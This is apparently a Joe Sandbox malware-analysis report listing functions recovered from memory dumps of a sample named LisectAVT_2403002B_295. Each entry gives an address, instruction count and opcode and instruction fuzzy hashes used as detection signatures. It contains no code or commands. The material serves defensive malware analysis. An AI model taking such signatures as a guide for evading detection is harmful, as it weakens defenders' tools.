Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149968c1058e11017f778d26c44664c6aad33b81c942022e82f877ea83ce5a51
Instruction ID: 196bc62e663ff97781105c64f3a92e09195f4b13b1e12acc5279ae35157272ef
Opcode Fuzzy Hash: 149968c1058e11017f778d26c44664c6aad33b81c942022e82f877ea83ce5a51
Instruction Fuzzy Hash: 80111CB8E00309EFDB44EFA8E5849ADBBF6FF88600B108599D405EB350DB35AE01DB41

Function 05655E5A Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a50ff3f8802aac1595a8aaa1a5c0c4e90db50d4db971a78447a94978a55c937
Instruction ID: 2abeaf2711879ce598b9efcc5da710557c6bbb8e191ee5735104a91373ac0dd3
Opcode Fuzzy Hash: 6a50ff3f8802aac1595a8aaa1a5c0c4e90db50d4db971a78447a94978a55c937
Instruction Fuzzy Hash: 6211C279B01204AFC704DB68E890ABE73EAEBC8210B144565D804DF344CB35AC058BA2

Function 0565F1C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee00be956d41dea666cd3c36185d48f0c5159cef7bc7b9c3497144cdef8e6676
Instruction ID: e40aa804cc8725b564cc740fb5eee9b82c5e796981c0dfba84c03c8b50415412
Opcode Fuzzy Hash: ee00be956d41dea666cd3c36185d48f0c5159cef7bc7b9c3497144cdef8e6676
Instruction Fuzzy Hash: A601D23570C3445FD728CB35D854A69BFF5EF45221F1488AED44ECBAA1CB24E844CB41

Function 05655E68 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 154fbf558f7732289794f002a25def7f23597d68c2073f51845e79ad0cf76a98
Instruction ID: bec1f6ba0f1bf6fb44c63710289922ad873adee8ba024c83cebb189ea02a1094
Opcode Fuzzy Hash: 154fbf558f7732289794f002a25def7f23597d68c2073f51845e79ad0cf76a98
Instruction Fuzzy Hash: 58016175700304AFCB04EB68E8909BE77FAEBC9610B104569E405DF350DB71AD058BA2

Function 0565F448 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a086cb02727773bbf1976088ac6b7af5c3e2e35b5de80ee42c5c5edd5e1398c5
Instruction ID: a5395be94605357e69a88c7299c834e981623aa8a2a2556c4f3df9cbdfedf348
Opcode Fuzzy Hash: a086cb02727773bbf1976088ac6b7af5c3e2e35b5de80ee42c5c5edd5e1398c5
Instruction Fuzzy Hash: 020128B260D3D04FE7064B69A8D45B6BFE4AFA1521B0846AEE491CB263D760C909D710

Function 0565FE4A Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 203b1450b7a721ef4bf0e5d8f3e15844e72d8124af3ef637606fa1a0bf42fc76
Instruction ID: 78ebb5e501be1a8ad5ab53fd037af10f84e59dbac9b1c765bd101f82132d9f14
Opcode Fuzzy Hash: 203b1450b7a721ef4bf0e5d8f3e15844e72d8124af3ef637606fa1a0bf42fc76
Instruction Fuzzy Hash: 84F0C27A3492199FC702D669FC0049DF7AADAC152672002BBD509CB242DF219D06C7E1

Function 030DD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1952403169.00000000030DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 030DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30dd000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5c3bf5999d2bf3324736ad70789eafe95b54dca3e70e1a0d621eedd188893b1
Instruction ID: 769564c42c8f1d26189b7804f4f479a17469501416efb1a922f2476afefd7245
Opcode Fuzzy Hash: a5c3bf5999d2bf3324736ad70789eafe95b54dca3e70e1a0d621eedd188893b1
Instruction Fuzzy Hash: 1101A771506340AFE760CA25DC84B67FFD8EFC5624F18C559ED490B242C3799845C6B2

Function 0565C917 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b61b908211d73411cded0168327aead1fd16abdafe04f493f8dee6d4c950302
Instruction ID: 1e147d9c750fae029f99b3150eb35a3ccbb0f7b89ca5ae8384b51b929fc31f27
Opcode Fuzzy Hash: 5b61b908211d73411cded0168327aead1fd16abdafe04f493f8dee6d4c950302
Instruction Fuzzy Hash: 8101F770608341DFE754DF39B41A2A47BE5FB44228F5643AEDC49CB781EB394A91C700

Function 0565F3E8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b260604f7a3b6c42afc27baaefe278047649ab703197bcf63b3c77c5d3b46b
Instruction ID: 062315391ada1c6029cc917e867046d3ce00ea2a8cfa9d463dbe3a34461672c4
Opcode Fuzzy Hash: 26b260604f7a3b6c42afc27baaefe278047649ab703197bcf63b3c77c5d3b46b
Instruction Fuzzy Hash: A7F0AF767493A41FD7118A6A9C549ABBFEDEB85620B0840BAF944C7392DAA0C804C7A0

Function 030DD006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1952403169.00000000030DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 030DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30dd000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f49564c41d236c91640f11edf8cf42cec3d98a1e674698546bf19daa94371af
Instruction ID: 3cdf5b7c78e029b842cfd86c22a15db483f82926f45ad25eac992bdbe182e0bd
Opcode Fuzzy Hash: 9f49564c41d236c91640f11edf8cf42cec3d98a1e674698546bf19daa94371af
Instruction Fuzzy Hash: 5B01217150E3C09FD7128B259C94B56BFE8EF53224F1D81DBD9888F297C2699844C772

Function 0565BF38 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ab7d4d09dc19865d0791d128798626cdbd856ac9ed2be51ff1cfec59e16f129
Instruction ID: 576dafc9e30edeb96cf48debfc8925275dbb434eafd38ebccc1164e135e08f2d
Opcode Fuzzy Hash: 6ab7d4d09dc19865d0791d128798626cdbd856ac9ed2be51ff1cfec59e16f129
Instruction Fuzzy Hash: 70016D35A481199FCB15EFA9F8165EDBBB5FB44222F40406AEA07C7790DB305646CFC1

Function 0565C83A Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bdfa57c52af6239979db19be78d855230c92f007c1ee552084133ab23213bff
Instruction ID: 05e99419a271a9b4293f7d0799b2ca317336bfe87c5910cdf31c520db8402889
Opcode Fuzzy Hash: 6bdfa57c52af6239979db19be78d855230c92f007c1ee552084133ab23213bff
Instruction Fuzzy Hash: 5501A2B5208304DFC300AF28F4192893BF1EF45364F6542AFD4049BB81DB3A6945C791

Function 0565B160 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52a29e6a063372998e99a4575422ceecc796bd40802392f4130686373099c160
Instruction ID: 81f0dc86368c6564ae0c880bb5895c1275be105fc6e5c3b22ace029265e7aabd
Opcode Fuzzy Hash: 52a29e6a063372998e99a4575422ceecc796bd40802392f4130686373099c160
Instruction Fuzzy Hash: 58F0C231604705AFCB119B6AE8489AFBBF9FF89634B04466EE549C7611DF30AC01C7A1

Function 05650418 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 513da8b26536f8c0b598d271bcb806e124cd0a220acb3c280ae73c7f4dd3de97
Instruction ID: 178974f2b5bd88a31f6cc064dfa8a01cd910a5a6e15f91d7c74220b2f2e62d57
Opcode Fuzzy Hash: 513da8b26536f8c0b598d271bcb806e124cd0a220acb3c280ae73c7f4dd3de97
Instruction Fuzzy Hash: 8E01142110E3D00FD703AB78DCB15E97FB59E9BA10B0E15D6C0C08F2A3D9546899C76A

Function 0565FD9A Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99c4c2eb6b19d55636605cbde0be7fde91e5ccd197c4c3ef8e56d1c5ad5ed79e
Instruction ID: cfb20b68c6ba2c6c32b0619e53127f3e28be97c39523b1bc41c222bca364dfe0
Opcode Fuzzy Hash: 99c4c2eb6b19d55636605cbde0be7fde91e5ccd197c4c3ef8e56d1c5ad5ed79e
Instruction Fuzzy Hash: D9F0C2353053546FC3129679E85049BBBE6EBC2664740867ED1098F651CE21EC05C7E2

Function 0565F3F8 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bc62815d5aa7c7b6c14cec60355d56478e464cb6955fa08bedae6f2529a1d89
Instruction ID: 9c5b8b903a032efaddcd03114e7a85aafcb4a0f13beafb515bf192f8586ff34a
Opcode Fuzzy Hash: 9bc62815d5aa7c7b6c14cec60355d56478e464cb6955fa08bedae6f2529a1d89
Instruction Fuzzy Hash: 13F0BE363093641FD7108A6A9C449BBBFEDEFC9620B04817AF944C3392CAB1CC0086A0

Function 030DD327 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1952403169.00000000030DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 030DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30dd000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63360980adf3f5bc38bc73ad228f3dbd0fad349bb09f3142fea3c9c5134c1ee7
Instruction ID: 285c6f14c552ce349de62a48659c0734547ea9e8e8999525ec4f2dff129b3b54
Opcode Fuzzy Hash: 63360980adf3f5bc38bc73ad228f3dbd0fad349bb09f3142fea3c9c5134c1ee7
Instruction Fuzzy Hash: BCF0F476200610AF9724CF0AD984C67FBE9EFC4770719C59AE84A5B712C672FC42CBA0

Function 0565B1C8 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c4b603629f1e6204a4a37934667c63e84d06d6e5e1f9be21483b71aa24afef
Instruction ID: 4c74735dd26ce2dab9008f75b3d4039e37203bb30aab8c56ecae149269da9196
Opcode Fuzzy Hash: 07c4b603629f1e6204a4a37934667c63e84d06d6e5e1f9be21483b71aa24afef
Instruction Fuzzy Hash: 92F0273274D2404FD792CA79A4506AE7FE1EF85571B500AEFD80EC7561DA32A9068750

Function 030DD318 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1952403169.00000000030DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 030DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30dd000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e71c85ceb8506345d384e1f35bfceeb4e99320e600b45b5c2e3c3f1a4bdb4a7
Instruction ID: 27752672bbdfcad3d5a3b6db341dd545fa205d02b48ffa4e86a3855d7133ab76
Opcode Fuzzy Hash: 2e71c85ceb8506345d384e1f35bfceeb4e99320e600b45b5c2e3c3f1a4bdb4a7
Instruction Fuzzy Hash: F3F03775104B80AFD725CF06C984C63BBB9EF897607198489E88A5B712C631FC42CB60

Function 03190872 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1952582594.0000000003190000.00000040.00000800.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0d55bfc72cb73765f14ef1499927830f1d94665e2e834963af06aa54316fe17
Instruction ID: 4753032b1bce1b1f78700efdef3745e31ebf0ea532e13fd19a2b432e87c514be
Opcode Fuzzy Hash: a0d55bfc72cb73765f14ef1499927830f1d94665e2e834963af06aa54316fe17
Instruction Fuzzy Hash: DA01E570E002099FDB44DF69C44169EBFB1FB49300F2085A9C545EB252D77596858FC1

Function 0565B170 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d2bff27bd0ad5380c3dbe3982238c8b3761f74b79e10e0d2fe952ad07d60e81
Instruction ID: c1e74e55c484a51cfb7961422754825791165b9720aa8376813f6de260c7c5f2
Opcode Fuzzy Hash: 4d2bff27bd0ad5380c3dbe3982238c8b3761f74b79e10e0d2fe952ad07d60e81
Instruction Fuzzy Hash: 9DF08275700718AFCB109A59E8449BFB7E9FBC9630B00062DE50AC3710DF30AC41C7A5

Function 0565FC50 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b827bd1c88d0055ecbc1a9f1d6a645dc188f8dd0e7ced85b7f9e94e733667e20
Instruction ID: 2994d4702012ff3c5ce7528fd22f6b87b8567be175c8aef952f827b73cc7b735
Opcode Fuzzy Hash: b827bd1c88d0055ecbc1a9f1d6a645dc188f8dd0e7ced85b7f9e94e733667e20
Instruction Fuzzy Hash: 14F0EC767083005FC32596769854A97BB95DBC5274F18403EDA0EC7791D921D801C3A1

Function 03190880 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1952582594.0000000003190000.00000040.00000800.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 426cd9865e81cdca914b1757fdb2160731c965edaef555a7052165c546d52447
Instruction ID: effa1bd6316e8e78e24632a7b257e3ecfa7398dd8bb7718b16e9d9f7336bba00
Opcode Fuzzy Hash: 426cd9865e81cdca914b1757fdb2160731c965edaef555a7052165c546d52447
Instruction Fuzzy Hash: 9801E470E0430ADFDB44DFA8C4417AEBBF1BB48300F1085A9C548EB341DBB496858BD1

Function 0565C1B7 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7613577bd1a014fcef65de09761e8c826c58b97087a3d57a9dc8b203efe6c25
Instruction ID: 7f6191ccb0f306f11238adc5879de6a53f0f79c825ba316e744ed4f72f63b73c
Opcode Fuzzy Hash: f7613577bd1a014fcef65de09761e8c826c58b97087a3d57a9dc8b203efe6c25
Instruction Fuzzy Hash: 49E09B336C93224BEB39565874514F5BB51AD8013170545AFDC5ED7901C5150D42C7D0

Function 0565FDA8 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98fd8848c8282b27243cacd5b058975344b5c38013f8b5a063525bb1dc7c56d1
Instruction ID: f90c72827d083c7b6e675bec34809e638af10dcae5198fffd4407ffa191453c7
Opcode Fuzzy Hash: 98fd8848c8282b27243cacd5b058975344b5c38013f8b5a063525bb1dc7c56d1
Instruction Fuzzy Hash: 12F082753017046BD614AA69E85099BB7EAEBC2A64750863DD5094B710DF31AC058BE1

Function 0565AEBF Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0f4489c5ff925be4ecd0df5f5593585855595def9b1fc6f32b46fd981fbb6d3
Instruction ID: 47c775dc4ab5368b5e73a7f429eff654f0832913c5d635084f1b18f003e5636c
Opcode Fuzzy Hash: b0f4489c5ff925be4ecd0df5f5593585855595def9b1fc6f32b46fd981fbb6d3
Instruction Fuzzy Hash: ABF0A0793006098FDB00D7A99840AA9B7E2FBC8665B004269E90ACB714DF31CC02CB80

Function 0565B138 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c4f442b1e3948305458fc3f4b4f1ddfd6d44c2078bc9d9b6092ce47dd42261e
Instruction ID: 7b7726dea49dbaab9dbdf3d93911564311a69b9f5d189ae9b49054cd255abcc2
Opcode Fuzzy Hash: 9c4f442b1e3948305458fc3f4b4f1ddfd6d44c2078bc9d9b6092ce47dd42261e
Instruction Fuzzy Hash: 97E0D830286388CFC765177154595583F24BE46169B4808EAD45A4F7A3DE368852CF95

Function 0565E4B8 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9211a0f190238713fb9e78305f9153e5c8c4278d2a705c6520e1f01c8755d3e
Instruction ID: 1436798074bbd8b60b82c2d44bac010f04705e1ef5ebd903e841a0949bb0e7fa
Opcode Fuzzy Hash: f9211a0f190238713fb9e78305f9153e5c8c4278d2a705c6520e1f01c8755d3e
Instruction Fuzzy Hash: 29E0862674C2A21B8B1B906E38204967F6B86C642130980B7E508CB282CC418D0683E5

Function 0565C112 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec9379606b2a809def885227be70716a43a6bcc29493bc39ec37e41223adab72
Instruction ID: 63da82033aa20466ccd17e356e10ac3fe88651ce5170f4e895961a8a38cde67d
Opcode Fuzzy Hash: ec9379606b2a809def885227be70716a43a6bcc29493bc39ec37e41223adab72
Instruction Fuzzy Hash: 7CE0DF3520C3609FCF122B747C1A4AD3FA58B86231705035FE412CB782CF2D8A0487E2

Function 0565CBC0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 435b8e3ac22372f57e4aea46cce0a26ccd18cc4bc4172f02d7d508a7ba09898d
Instruction ID: f59d6738160497a1fb62a7a930b39f7ad82acfa7741ee2f878e9f14e6d67fa98
Opcode Fuzzy Hash: 435b8e3ac22372f57e4aea46cce0a26ccd18cc4bc4172f02d7d508a7ba09898d
Instruction Fuzzy Hash: BED05E523C436A17A52420BE39247BBA1CF9AC68B4F05003A9F05D3B51ED40CC01C3E5

Function 0565C848 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c59c835417a28428a7c3464bd1f7056ca4d99b4c5622a46fed7cf97e272d3425
Instruction ID: 89ef61e33aab759320252d54a299313c81f68fb84c09a5041489a7e4fcf937f2
Opcode Fuzzy Hash: c59c835417a28428a7c3464bd1f7056ca4d99b4c5622a46fed7cf97e272d3425
Instruction Fuzzy Hash: 7AE04FB1544208EBD710AF54F02969A7BF8EB456A4FA0825FD80557B84DF3A28048BD5

Function 0565C898 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45ce4cbfcc350b45e3aa73e924d70378cab03f0b76ce15e666b945bde048ea14
Instruction ID: fd2e7877964d7a269802855be189e90657122b94940e12f591a031f79d1da92f
Opcode Fuzzy Hash: 45ce4cbfcc350b45e3aa73e924d70378cab03f0b76ce15e666b945bde048ea14
Instruction Fuzzy Hash: FDE04F70A0D340CFD7949BA8F45A3143FE5F701310F5112AEE80ACBB82EA7E9890C792

Function 0565C1C8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f944d80cba8164c407dc48af1d1a6cf49f3fd55455a3134e1910376d29802df
Instruction ID: 60983459b5e69e47e6bcebaa854fefdc9e6113be390ccbed3c3f398139f94b05
Opcode Fuzzy Hash: 5f944d80cba8164c407dc48af1d1a6cf49f3fd55455a3134e1910376d29802df
Instruction Fuzzy Hash: 76D0A73398923227E734659EAC108A9BA5899C0631715013EDC6FD3A00C8415C42C2D4

Function 03190839 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1952582594.0000000003190000.00000040.00000800.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a47aef6b7780ea71e4c6d2cc908e95b2aa219ae7d3bd4c46c8b0e424ba9c27f
Instruction ID: cef0ae2e01b14af7c8fef0753416832beeb8e5fa82bd802b393b46333a3a253b
Opcode Fuzzy Hash: 9a47aef6b7780ea71e4c6d2cc908e95b2aa219ae7d3bd4c46c8b0e424ba9c27f
Instruction Fuzzy Hash: 0CD02E7EA01B104FE714EB27F4A07C8BBC2EFC1221F08CA2A800B97898CF34A0024A40

Function 0565C120 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0129f18f2cde688cba2086261638456ff154d7a212b981de66493156a3cf7df8
Instruction ID: e35047ec4eac3d3bdd515971901df2aeab0494f683902b7b5311ae36f50e3d5f
Opcode Fuzzy Hash: 0129f18f2cde688cba2086261638456ff154d7a212b981de66493156a3cf7df8
Instruction Fuzzy Hash: BAD05E353182218BCF056F75B81A49D3FA9DB49625B01422EE417C7741DF6E9A0087D5

Function 0565FE58 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b822299ded9d9210b0c7a537d5524ca522cd53e11e6813a38ca40b9d6120ae63
Instruction ID: e815fad1fa3c1fe1271d701afc1d23f33ea13f5d498eb3c65a5bed8fbe32fd0e
Opcode Fuzzy Hash: b822299ded9d9210b0c7a537d5524ca522cd53e11e6813a38ca40b9d6120ae63
Instruction Fuzzy Hash: 13D0A7F63042156BC604A65DF41945DB7DFD7C9565310023DE60DC3300EE106C0187E5

Function 0565C8A8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2b083e3ca19188bdd6fb1f65ec623d2f683314419b8771373697407f411240b
Instruction ID: 424e8b5ea764a9fddd808f14fab8444fd21e53d5e11b08375f7fb2b8922a2229
Opcode Fuzzy Hash: d2b083e3ca19188bdd6fb1f65ec623d2f683314419b8771373697407f411240b
Instruction Fuzzy Hash: D1E09E70609705CFD784AF68F15A7193BE5F744310FA2276DE80ACBB41EA7E99908B50

Function 0565BF48 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

